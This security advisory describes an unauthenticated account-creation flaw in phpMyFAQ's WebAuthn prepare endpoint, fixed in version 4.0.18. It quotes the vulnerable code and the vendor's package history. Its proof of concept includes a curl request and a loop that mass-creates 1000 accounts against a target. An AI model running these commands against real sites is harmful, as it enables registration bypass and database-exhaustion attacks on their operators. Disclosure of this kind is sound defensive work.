phpMyFAQ Allows Unauthenticated Account Creation via WebAuthn Prepare Endpoint
Summary
The WebAuthn prepare endpoint (/api/webauthn/prepare) creates new active user accounts without any authentication, CSRF protection, CAPTCHA, or configuration checks. This allows unauthenticated attackers to create unlimited user accounts even when registration is disabled.
Details
File: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/WebAuthnController.php, lines 63-79
#[Route(path: 'webauthn/prepare', name: 'api.private.webauthn.prepare', methods: ['POST'])]
public function prepare(Request $request): JsonResponse
{
$data = json_decode($request->getContent(), ...);
$username = Filter::filterVar($data->username, FILTER_SANITIZE_SPECIAL_CHARS);
if (!$this->user->getUserByLogin($username, raiseError: false)) {
try {
$this->user->createUser($username);
$this->user->setStatus(status: 'active');
$this->user->setAuthSource(AuthenticationSourceType::AUTH_WEB_AUTHN->value);
$this->user->setUserData([
'display_name' => $username,
'email' => $username,
]);The endpoint:
- Accepts any POST request with a JSON
usernamefield - If the username doesn't exist, creates a new active user account
- Does NOT check if WebAuthn support is enabled (
security.enableWebAuthnSupport) - Does NOT check if registration is enabled (
security.enableRegistration) - Does NOT verify CSRF tokens
- Does NOT require captcha validation
- Has no rate limiting
PoC
# Create an account - no auth needed
curl -X POST https://TARGET/api/webauthn/prepare \
-H 'Content-Type: application/json' \
-d '{"username":"attacker_account"}'
# Mass account creation
for i in $(seq 1 1000); do
curl -s -X POST https://TARGET/api/webauthn/prepare \
-H 'Content-Type: application/json' \
-d "{\"username\":\"spam_user_$i"}" &
doneImpact
- Registration bypass: Accounts created even when self-registration is disabled
- Username squatting: Reserve usernames before legitimate users
- Database exhaustion: Create millions of fake active accounts (DoS)
- User enumeration: Different responses for existing vs new usernames
- Security control bypass: WebAuthn config check is bypassed entirely
All phpMyFAQ installations with the WebAuthn controller routed (default) are affected, regardless of configuration settings.
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | thorsten/phpmyfaq | < 4.0.18 | 4.0.18 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N- Weakness (CWE)
CWE-862- Platform
- Composer
- Package
thorsten/phpmyfaq- Disclosed
- 27.02.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-w22q-m2fm-x9f4 - CC BY 4.0
Vulnerability history: thorsten/phpmyfaq
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 112
- First → latest
- 05.2022 09.2026
- Without a fix
- 2
- Exploited in attacks
- 0
Severity breakdown
- Critical 8
- High 36
- Medium 67
- Low 1
Disclosures per year
- 2022: 8
- 2023: 62
- 2024: 2
- 2025: 6
- 2026: 34
-
phpMyFAQ Allows Unauthenticated Account Creation via WebAuthn Prepare Endpoint this entry
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